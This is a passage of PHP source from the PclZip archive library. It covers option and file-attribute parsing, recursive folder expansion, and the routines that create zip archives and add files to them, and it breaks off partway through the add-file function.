            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

            // ----- Return
            return PclZip::errorCode();
          }

          // ----- Get the value
          if (is_string($p_options_list[$i+1])) {
              $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
          }
          else {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

            // ----- Return
            return PclZip::errorCode();
          }
          $i++;
        break;

        // ----- Look for options that takes a string
        case PCLZIP_OPT_COMMENT :
        case PCLZIP_OPT_ADD_COMMENT :
        case PCLZIP_OPT_PREPEND_COMMENT :
          // ----- Check the number of parameters
          if (($i+1) >= $p_size) {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE,
			                     "Missing parameter value for option '"
								 .PclZipUtilOptionText($p_options_list[$i])
								 ."'");

            // ----- Return
            return PclZip::errorCode();
          }

          // ----- Get the value
          if (is_string($p_options_list[$i+1])) {
              $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
          }
          else {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE,
			                     "Wrong parameter value for option '"
								 .PclZipUtilOptionText($p_options_list[$i])
								 ."'");

            // ----- Return
            return PclZip::errorCode();
          }
          $i++;
        break;

        // ----- Look for options that request an array of index
        case PCLZIP_OPT_BY_INDEX :
          // ----- Check the number of parameters
          if (($i+1) >= $p_size) {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

            // ----- Return
            return PclZip::errorCode();
          }

          // ----- Get the value
          $v_work_list = array();
          if (is_string($p_options_list[$i+1])) {

              // ----- Remove spaces
              $p_options_list[$i+1] = strtr($p_options_list[$i+1], ' ', '');

              // ----- Parse items
              $v_work_list = explode(",", $p_options_list[$i+1]);
          }
          else if (is_integer($p_options_list[$i+1])) {
              $v_work_list[0] = $p_options_list[$i+1].'-'.$p_options_list[$i+1];
          }
          else if (is_array($p_options_list[$i+1])) {
              $v_work_list = $p_options_list[$i+1];
          }
          else {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Value must be integer, string or array for option '".PclZipUtilOptionText($p_options_list[$i])."'");

            // ----- Return
            return PclZip::errorCode();
          }

          // ----- Reduce the index list
          // each index item in the list must be a couple with a start and
          // an end value : [0,3], [5-5], [8-10], ...
          // ----- Check the format of each item
          $v_sort_flag=false;
          $v_sort_value=0;
          for ($j=0; $j<sizeof($v_work_list); $j++) {
              // ----- Explode the item
              $v_item_list = explode("-", $v_work_list[$j]);
              $v_size_item_list = sizeof($v_item_list);

              // ----- TBC : Here we might check that each item is a
              // real integer ...

              // ----- Look for single value
              if ($v_size_item_list == 1) {
                  // ----- Set the option value
                  $v_result_list[$p_options_list[$i]][$j]['start'] = $v_item_list[0];
                  $v_result_list[$p_options_list[$i]][$j]['end'] = $v_item_list[0];
              }
              elseif ($v_size_item_list == 2) {
                  // ----- Set the option value
                  $v_result_list[$p_options_list[$i]][$j]['start'] = $v_item_list[0];
                  $v_result_list[$p_options_list[$i]][$j]['end'] = $v_item_list[1];
              }
              else {
                  // ----- Error log
                  PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Too many values in index range for option '".PclZipUtilOptionText($p_options_list[$i])."'");

                  // ----- Return
                  return PclZip::errorCode();
              }


              // ----- Look for list sort
              if ($v_result_list[$p_options_list[$i]][$j]['start'] < $v_sort_value) {
                  $v_sort_flag=true;

                  // ----- TBC : An automatic sort should be written ...
                  // ----- Error log
                  PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Invalid order of index range for option '".PclZipUtilOptionText($p_options_list[$i])."'");

                  // ----- Return
                  return PclZip::errorCode();
              }
              $v_sort_value = $v_result_list[$p_options_list[$i]][$j]['start'];
          }

          // ----- Sort the items
          if ($v_sort_flag) {
              // TBC : To Be Completed
          }

          // ----- Next option
          $i++;
        break;

        // ----- Look for options that request no value
        case PCLZIP_OPT_REMOVE_ALL_PATH :
        case PCLZIP_OPT_EXTRACT_AS_STRING :
        case PCLZIP_OPT_NO_COMPRESSION :
        case PCLZIP_OPT_EXTRACT_IN_OUTPUT :
        case PCLZIP_OPT_REPLACE_NEWER :
        case PCLZIP_OPT_STOP_ON_ERROR :
          $v_result_list[$p_options_list[$i]] = true;
        break;

        // ----- Look for options that request an octal value
        case PCLZIP_OPT_SET_CHMOD :
          // ----- Check the number of parameters
          if (($i+1) >= $p_size) {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

            // ----- Return
            return PclZip::errorCode();
          }

          // ----- Get the value
          $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
          $i++;
        break;

        // ----- Look for options that request a call-back
        case PCLZIP_CB_PRE_EXTRACT :
        case PCLZIP_CB_POST_EXTRACT :
        case PCLZIP_CB_PRE_ADD :
        case PCLZIP_CB_POST_ADD :
        /* for futur use
        case PCLZIP_CB_PRE_DELETE :
        case PCLZIP_CB_POST_DELETE :
        case PCLZIP_CB_PRE_LIST :
        case PCLZIP_CB_POST_LIST :
        */
          // ----- Check the number of parameters
          if (($i+1) >= $p_size) {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

            // ----- Return
            return PclZip::errorCode();
          }

          // ----- Get the value
          $v_function_name = $p_options_list[$i+1];

          // ----- Check that the value is a valid existing function
          if (!function_exists($v_function_name)) {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Function '".$v_function_name."()' is not an existing function for option '".PclZipUtilOptionText($p_options_list[$i])."'");

            // ----- Return
            return PclZip::errorCode();
          }

          // ----- Set the attribute
          $v_result_list[$p_options_list[$i]] = $v_function_name;
          $i++;
        break;

        default :
          // ----- Error log
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
		                       "Unknown parameter '"
							   .$p_options_list[$i]."'");

          // ----- Return
          return PclZip::errorCode();
      }

      // ----- Next options
      $i++;
    }

    // ----- Look for mandatory options
    if ($v_requested_options !== false) {
      for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) {
        // ----- Look for mandatory option
        if ($v_requested_options[$key] == 'mandatory') {
          // ----- Look if present
          if (!isset($v_result_list[$key])) {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")");

            // ----- Return
            return PclZip::errorCode();
          }
        }
      }
    }

    // ----- Look for default values
    if (!isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) {

    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privOptionDefaultThreshold()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privOptionDefaultThreshold(&$p_options)
  {
    $v_result=1;

    if (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD])
        || isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) {
      return $v_result;
    }

    // ----- Get 'memory_limit' configuration value
    $v_memory_limit = ini_get('memory_limit');
    $v_memory_limit = trim($v_memory_limit);
    $v_memory_limit_int = (int) $v_memory_limit;
    $last = strtolower(substr($v_memory_limit, -1));

    if($last == 'g')
        //$v_memory_limit_int = $v_memory_limit_int*1024*1024*1024;
        $v_memory_limit_int = $v_memory_limit_int*1073741824;
    if($last == 'm')
        //$v_memory_limit_int = $v_memory_limit_int*1024*1024;
        $v_memory_limit_int = $v_memory_limit_int*1048576;
    if($last == 'k')
        $v_memory_limit_int = $v_memory_limit_int*1024;

    $p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] = floor($v_memory_limit_int*PCLZIP_TEMPORARY_FILE_RATIO);


    // ----- Confidence check : No threshold if value lower than 1M
    if ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] < 1048576) {
      unset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]);
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privFileDescrParseAtt()
  // Description :
  // Parameters :
  // Return Values :
  //   1 on success.
  //   0 on failure.
  // --------------------------------------------------------------------------------
  function privFileDescrParseAtt(&$p_file_list, &$p_filedescr, $v_options, $v_requested_options=false)
  {
    $v_result=1;

    // ----- For each file in the list check the attributes
    foreach ($p_file_list as $v_key => $v_value) {

      // ----- Check if the option is supported
      if (!isset($v_requested_options[$v_key])) {
        // ----- Error log
        PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file attribute '".$v_key."' for this file");

        // ----- Return
        return PclZip::errorCode();
      }

      // ----- Look for attribute
      switch ($v_key) {
        case PCLZIP_ATT_FILE_NAME :
          if (!is_string($v_value)) {
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
            return PclZip::errorCode();
          }

          $p_filedescr['filename'] = PclZipUtilPathReduction($v_value);

          if ($p_filedescr['filename'] == '') {
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty filename for attribute '".PclZipUtilOptionText($v_key)."'");
            return PclZip::errorCode();
          }

        break;

        case PCLZIP_ATT_FILE_NEW_SHORT_NAME :
          if (!is_string($v_value)) {
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
            return PclZip::errorCode();
          }

          $p_filedescr['new_short_name'] = PclZipUtilPathReduction($v_value);

          if ($p_filedescr['new_short_name'] == '') {
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty short filename for attribute '".PclZipUtilOptionText($v_key)."'");
            return PclZip::errorCode();
          }
        break;

        case PCLZIP_ATT_FILE_NEW_FULL_NAME :
          if (!is_string($v_value)) {
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
            return PclZip::errorCode();
          }

          $p_filedescr['new_full_name'] = PclZipUtilPathReduction($v_value);

          if ($p_filedescr['new_full_name'] == '') {
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty full filename for attribute '".PclZipUtilOptionText($v_key)."'");
            return PclZip::errorCode();
          }
        break;

        // ----- Look for options that takes a string
        case PCLZIP_ATT_FILE_COMMENT :
          if (!is_string($v_value)) {
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
            return PclZip::errorCode();
          }

          $p_filedescr['comment'] = $v_value;
        break;

        case PCLZIP_ATT_FILE_MTIME :
          if (!is_integer($v_value)) {
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". Integer expected for attribute '".PclZipUtilOptionText($v_key)."'");
            return PclZip::errorCode();
          }

          $p_filedescr['mtime'] = $v_value;
        break;

        case PCLZIP_ATT_FILE_CONTENT :
          $p_filedescr['content'] = $v_value;
        break;

        default :
          // ----- Error log
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
		                           "Unknown parameter '".$v_key."'");

          // ----- Return
          return PclZip::errorCode();
      }

      // ----- Look for mandatory options
      if ($v_requested_options !== false) {
        for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) {
          // ----- Look for mandatory option
          if ($v_requested_options[$key] == 'mandatory') {
            // ----- Look if present
            if (!isset($p_file_list[$key])) {
              PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")");
              return PclZip::errorCode();
            }
          }
        }
      }

    // end foreach
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privFileDescrExpand()
  // Description :
  //   This method look for each item of the list to see if its a file, a folder
  //   or a string to be added as file. For any other type of files (link, other)
  //   just ignore the item.
  //   Then prepare the information that will be stored for that file.
  //   When its a folder, expand the folder with all the files that are in that
  //   folder (recursively).
  // Parameters :
  // Return Values :
  //   1 on success.
  //   0 on failure.
  // --------------------------------------------------------------------------------
  function privFileDescrExpand(&$p_filedescr_list, &$p_options)
  {
    $v_result=1;

    // ----- Create a result list
    $v_result_list = array();

    // ----- Look each entry
    for ($i=0; $i<sizeof($p_filedescr_list); $i++) {

      // ----- Get filedescr
      $v_descr = $p_filedescr_list[$i];

      // ----- Reduce the filename
      $v_descr['filename'] = PclZipUtilTranslateWinPath($v_descr['filename'], false);
      $v_descr['filename'] = PclZipUtilPathReduction($v_descr['filename']);

      // ----- Look for real file or folder
      if (file_exists($v_descr['filename'])) {
        if (@is_file($v_descr['filename'])) {
          $v_descr['type'] = 'file';
        }
        else if (@is_dir($v_descr['filename'])) {
          $v_descr['type'] = 'folder';
        }
        else if (@is_link($v_descr['filename'])) {
          // skip
          continue;
        }
        else {
          // skip
          continue;
        }
      }

      // ----- Look for string added as file
      else if (isset($v_descr['content'])) {
        $v_descr['type'] = 'virtual_file';
      }

      // ----- Missing file
      else {
        // ----- Error log
        PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "File '".$v_descr['filename']."' does not exist");

        // ----- Return
        return PclZip::errorCode();
      }

      // ----- Calculate the stored filename
      $this->privCalculateStoredFilename($v_descr, $p_options);

      // ----- Add the descriptor in result list
      $v_result_list[sizeof($v_result_list)] = $v_descr;

      // ----- Look for folder
      if ($v_descr['type'] == 'folder') {
        // ----- List of items in folder
        $v_dirlist_descr = array();
        $v_dirlist_nb = 0;
        if ($v_folder_handler = @opendir($v_descr['filename'])) {
          while (($v_item_handler = @readdir($v_folder_handler)) !== false) {

            // ----- Skip '.' and '..'
            if (($v_item_handler == '.') || ($v_item_handler == '..')) {
                continue;
            }

            // ----- Compose the full filename
            $v_dirlist_descr[$v_dirlist_nb]['filename'] = $v_descr['filename'].'/'.$v_item_handler;

            // ----- Look for different stored filename
            // Because the name of the folder was changed, the name of the
            // files/sub-folders also change
            if (($v_descr['stored_filename'] != $v_descr['filename'])
                 && (!isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH]))) {
              if ($v_descr['stored_filename'] != '') {
                $v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_descr['stored_filename'].'/'.$v_item_handler;
              }
              else {
                $v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_item_handler;
              }
            }

            $v_dirlist_nb++;
          }

          @closedir($v_folder_handler);
        }
        else {
          // TBC : unable to open folder in read mode
        }

        // ----- Expand each element of the list
        if ($v_dirlist_nb != 0) {
          // ----- Expand
          if (($v_result = $this->privFileDescrExpand($v_dirlist_descr, $p_options)) != 1) {
            return $v_result;
          }

          // ----- Concat the resulting list
          $v_result_list = array_merge($v_result_list, $v_dirlist_descr);
        }
        else {
        }

        // ----- Free local array
        unset($v_dirlist_descr);
      }
    }

    // ----- Get the result list
    $p_filedescr_list = $v_result_list;

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privCreate()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privCreate($p_filedescr_list, &$p_result_list, &$p_options)
  {
    $v_result=1;
    $v_list_detail = array();

    // ----- Magic quotes trick
    $this->privDisableMagicQuotes();

    // ----- Open the file in write mode
    if (($v_result = $this->privOpenFd('wb')) != 1)
    {
      // ----- Return
      return $v_result;
    }

    // ----- Add the list of files
    $v_result = $this->privAddList($p_filedescr_list, $p_result_list, $p_options);

    // ----- Close
    $this->privCloseFd();

    // ----- Magic quotes trick
    $this->privSwapBackMagicQuotes();

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privAdd()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privAdd($p_filedescr_list, &$p_result_list, &$p_options)
  {
    $v_result=1;
    $v_list_detail = array();

    // ----- Look if the archive exists or is empty
    if ((!is_file($this->zipname)) || (filesize($this->zipname) == 0))
    {

      // ----- Do a create
      $v_result = $this->privCreate($p_filedescr_list, $p_result_list, $p_options);

      // ----- Return
      return $v_result;
    }
    // ----- Magic quotes trick
    $this->privDisableMagicQuotes();

    // ----- Open the zip file
    if (($v_result=$this->privOpenFd('rb')) != 1)
    {
      // ----- Magic quotes trick
      $this->privSwapBackMagicQuotes();

      // ----- Return
      return $v_result;
    }

    // ----- Read the central directory information
    $v_central_dir = array();
    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
    {
      $this->privCloseFd();
      $this->privSwapBackMagicQuotes();
      return $v_result;
    }

    // ----- Go to beginning of File
    @rewind($this->zip_fd);

    // ----- Creates a temporary file
    $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';

    // ----- Open the temporary file in write mode
    if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0)
    {
      $this->privCloseFd();
      $this->privSwapBackMagicQuotes();

      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode');

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- Copy the files from the archive to the temporary file
    // TBC : Here I should better append the file and go back to erase the central dir
    $v_size = $v_central_dir['offset'];
    while ($v_size != 0)
    {
      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
      $v_buffer = fread($this->zip_fd, $v_read_size);
      @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
      $v_size -= $v_read_size;
    }

    // ----- Swap the file descriptor
    // Here is a trick : I swap the temporary fd with the zip fd, in order to use
    // the following methods on the temporary fil and not the real archive
    $v_swap = $this->zip_fd;
    $this->zip_fd = $v_zip_temp_fd;
    $v_zip_temp_fd = $v_swap;

    // ----- Add the files
    $v_header_list = array();
    if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1)
    {
      fclose($v_zip_temp_fd);
      $this->privCloseFd();
      @unlink($v_zip_temp_name);
      $this->privSwapBackMagicQuotes();

      // ----- Return
      return $v_result;
    }

    // ----- Store the offset of the central dir
    $v_offset = @ftell($this->zip_fd);

    // ----- Copy the block of file headers from the old archive
    $v_size = $v_central_dir['size'];
    while ($v_size != 0)
    {
      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
      $v_buffer = @fread($v_zip_temp_fd, $v_read_size);
      @fwrite($this->zip_fd, $v_buffer, $v_read_size);
      $v_size -= $v_read_size;
    }

    // ----- Create the Central Dir files header
    for ($i=0, $v_count=0; $i<sizeof($v_header_list); $i++)
    {
      // ----- Create the file header
      if ($v_header_list[$i]['status'] == 'ok') {
        if (($v_result = $this->privWriteCentralFileHeader($v_header_list[$i])) != 1) {
          fclose($v_zip_temp_fd);
          $this->privCloseFd();
          @unlink($v_zip_temp_name);
          $this->privSwapBackMagicQuotes();

          // ----- Return
          return $v_result;
        }
        $v_count++;
      }

      // ----- Transform the header to a 'usable' info
      $this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
    }

    // ----- Zip file comment
    $v_comment = $v_central_dir['comment'];
    if (isset($p_options[PCLZIP_OPT_COMMENT])) {
      $v_comment = $p_options[PCLZIP_OPT_COMMENT];
    }
    if (isset($p_options[PCLZIP_OPT_ADD_COMMENT])) {
      $v_comment = $v_comment.$p_options[PCLZIP_OPT_ADD_COMMENT];
    }
    if (isset($p_options[PCLZIP_OPT_PREPEND_COMMENT])) {
      $v_comment = $p_options[PCLZIP_OPT_PREPEND_COMMENT].$v_comment;
    }

    // ----- Calculate the size of the central header
    $v_size = @ftell($this->zip_fd)-$v_offset;

    // ----- Create the central dir footer
    if (($v_result = $this->privWriteCentralHeader($v_count+$v_central_dir['entries'], $v_size, $v_offset, $v_comment)) != 1)
    {
      // ----- Reset the file list
      unset($v_header_list);
      $this->privSwapBackMagicQuotes();

      // ----- Return
      return $v_result;
    }

    // ----- Swap back the file descriptor
    $v_swap = $this->zip_fd;
    $this->zip_fd = $v_zip_temp_fd;
    $v_zip_temp_fd = $v_swap;

    // ----- Close
    $this->privCloseFd();

    // ----- Close the temporary file
    @fclose($v_zip_temp_fd);

    // ----- Magic quotes trick
    $this->privSwapBackMagicQuotes();

    // ----- Delete the zip file
    // TBC : I should test the result ...
    @unlink($this->zipname);

    // ----- Rename the temporary file
    // TBC : I should test the result ...
    //@rename($v_zip_temp_name, $this->zipname);
    PclZipUtilRename($v_zip_temp_name, $this->zipname);

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privOpenFd()
  // Description :
  // Parameters :
  // --------------------------------------------------------------------------------
  function privOpenFd($p_mode)
  {
    $v_result=1;

    // ----- Look if already open
    if ($this->zip_fd != 0)
    {
      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Zip file \''.$this->zipname.'\' already open');

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- Open the zip file
    if (($this->zip_fd = @fopen($this->zipname, $p_mode)) == 0)
    {
      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in '.$p_mode.' mode');

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privCloseFd()
  // Description :
  // Parameters :
  // --------------------------------------------------------------------------------
  function privCloseFd()
  {
    $v_result=1;

    if ($this->zip_fd != 0)
      @fclose($this->zip_fd);
    $this->zip_fd = 0;

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privAddList()
  // Description :
  //   $p_add_dir and $p_remove_dir will give the ability to memorize a path which is
  //   different from the real path of the file. This is useful if you want to have PclTar
  //   running in any directory, and memorize relative path from an other directory.
  // Parameters :
  //   $p_list : An array containing the file or directory names to add in the tar
  //   $p_result_list : list of added files with their properties (specially the status field)
  //   $p_add_dir : Path to add in the filename path archived
  //   $p_remove_dir : Path to remove in the filename path archived
  // Return Values :
  // --------------------------------------------------------------------------------
//  function privAddList($p_list, &$p_result_list, $p_add_dir, $p_remove_dir, $p_remove_all_dir, &$p_options)
  function privAddList($p_filedescr_list, &$p_result_list, &$p_options)
  {
    $v_result=1;

    // ----- Add the files
    $v_header_list = array();
    if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1)
    {
      // ----- Return
      return $v_result;
    }

    // ----- Store the offset of the central dir
    $v_offset = @ftell($this->zip_fd);

    // ----- Create the Central Dir files header
    for ($i=0,$v_count=0; $i<sizeof($v_header_list); $i++)
    {
      // ----- Create the file header
      if ($v_header_list[$i]['status'] == 'ok') {
        if (($v_result = $this->privWriteCentralFileHeader($v_header_list[$i])) != 1) {
          // ----- Return
          return $v_result;
        }
        $v_count++;
      }

      // ----- Transform the header to a 'usable' info
      $this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
    }

    // ----- Zip file comment
    $v_comment = '';
    if (isset($p_options[PCLZIP_OPT_COMMENT])) {
      $v_comment = $p_options[PCLZIP_OPT_COMMENT];
    }

    // ----- Calculate the size of the central header
    $v_size = @ftell($this->zip_fd)-$v_offset;

    // ----- Create the central dir footer
    if (($v_result = $this->privWriteCentralHeader($v_count, $v_size, $v_offset, $v_comment)) != 1)
    {
      // ----- Reset the file list
      unset($v_header_list);

      // ----- Return
      return $v_result;
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privAddFileList()
  // Description :
  // Parameters :
  //   $p_filedescr_list : An array containing the file description
  //                      or directory names to add in the zip
  //   $p_result_list : list of added files with their properties (specially the status field)
  // Return Values :
  // --------------------------------------------------------------------------------
  function privAddFileList($p_filedescr_list, &$p_result_list, &$p_options)
  {
    $v_result=1;
    $v_header = array();

    // ----- Recuperate the current number of elt in list
    $v_nb = sizeof($p_result_list);

    // ----- Loop on the files
    for ($j=0; ($j<sizeof($p_filedescr_list)) && ($v_result==1); $j++) {
      // ----- Format the filename
      $p_filedescr_list[$j]['filename']
      = PclZipUtilTranslateWinPath($p_filedescr_list[$j]['filename'], false);


      // ----- Skip empty file names
      // TBC : Can this be possible ? not checked in DescrParseAtt ?
      if ($p_filedescr_list[$j]['filename'] == "") {
        continue;
      }

      // ----- Check the filename
      if (   ($p_filedescr_list[$j]['type'] != 'virtual_file')
          && (!file_exists($p_filedescr_list[$j]['filename']))) {
        PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "File '".$p_filedescr_list[$j]['filename']."' does not exist");
        return PclZip::errorCode();
      }

      // ----- Look if it is a file or a dir with no all path remove option
      // or a dir with all its path removed
//      if (   (is_file($p_filedescr_list[$j]['filename']))
//          || (   is_dir($p_filedescr_list[$j]['filename'])
      if (   ($p_filedescr_list[$j]['type'] == 'file')
          || ($p_filedescr_list[$j]['type'] == 'virtual_file')
          || (   ($p_filedescr_list[$j]['type'] == 'folder')
              && (   !isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH])
                  || !$p_options[PCLZIP_OPT_REMOVE_ALL_PATH]))
          ) {

        // ----- Add the file
        $v_result = $this->privAddFile($p_filedescr_list[$j], $v_header,
                                       $p_options);
        if ($v_result != 1) {
          return $v_result;
        }

        // ----- Store the file infos
        $p_result_list[$v_nb++] = $v_header;
      }
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privAddFile()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privAddFile($p_filedescr, &$p_header, &$p_options)
  {
    $v_result=1;

    // ----- Working variable
    $p_filename = $p_filedescr['filename'];

    // TBC : Already done in the fileAtt check ... ?
    if ($p_filename == "") {
      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file list parameter (invalid or empty list)");

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- Look for a stored different filename
    /* TBC : Removed
    if (isset($p_filedescr['stored_filename'])) {
      $v_stored_filename = $p_filedescr['stored_filename'];
    }
    else {
      $v_stored_filename = $p_filedescr['stored_filename'];
    }
    */

    // ----- Set the file properties
    clearstatcache();
    $p_header['version'] = 20;
    $p_header['version_extracted'] = 10;
    $p_header['flag'] = 0;
    $p_header['compression'] = 0;
    $p_header['crc'] = 0;
    $p_header['compressed_size'] = 0;
    $p_header['filename_len'] = strlen($p_filename);
    $p_header['extra_len'] = 0;
    $p_header['disk'] = 0;
    $p_header['internal'] = 0;
    $p_header['offset'] = 0;
    $p_header['filename'] = $p_filename;
// TBC : Removed    $p_header['stored_filename'] = $v_stored_filename;
    $p_header['stored_filename'] = $p_filedescr['stored_filename'];
    $p_header['extra'] = '';
    $p_header['status'] = 'ok';
    $p_header['index'] = -1;

    // ----- Look for regular file
    if ($p_filedescr['type']=='file') {
      $p_header['external'] = 0x00000000;
      $p_header['size'] = filesize($p_filename);
    }

    // ----- Look for regular folder
    else if ($p_filedescr['type']=='folder') {
      $p_header['external'] = 0x00000010;
      $p_header['mtime'] = filemtime($p_filename);
      $p_header['size'] = filesize($p_filename);
    }

    // ----- Look for virtual file
    else if ($p_filedescr['type'] == 'virtual_file') {
      $p_header['external'] = 0x00000000;
      $p_header['size'] = strlen($p_filedescr['content']);
    }


    // ----- Look for filetime
    if (isset($p_filedescr['mtime'])) {
      $p_header['mtime'] = $p_filedescr['mtime'];
    }
    else if ($p_filedescr['type'] == 'virtual_file') {
      $p_header['mtime'] = time();
    }
    else {
      $p_header['mtime'] = filemtime($p_filename);
    }

    // ------ Look for file comment
    if (isset($p_filedescr['comment'])) {
      $p_header['comment_len'] = strlen($p_filedescr['comment']);
      $p_header['comment'] = $p_filedescr['comment'];
    }
    else {
      $p_header['comment_len'] = 0;
      $p_header['comment'] = '';
    }

    // ----- Look for pre-add callback
    if (isset($p_options[PCLZIP_CB_PRE_ADD])) {

      // ----- Generate a local information
      $v_local_header = array();
      $this->privConvertHeader2FileInfo($p_header, $v_local_header);

      // ----- Call the callback
      // Here I do not use call_user_func() because I need to send a reference to the
      // header.
      $v_result = $p_options[PCLZIP_CB_PRE_ADD](PCLZIP_CB_PRE_ADD, $v_local_header);
      if ($v_result == 0) {
        // ----- Change the file status
        $p_header['status'] = "skipped";
        $v_result = 1;
      }

      // ----- Update the information
      // Only some fields can be modified
      if ($p_header['stored_filename'] != $v_local_header['stored_filename']) {
        $p_header['stored_filename'] = PclZipUtilPathReduction($v_local_header['stored_filename']);
      }
    }

    // ----- Look for empty stored filename
    if ($p_header['stored_filename'] == "") {
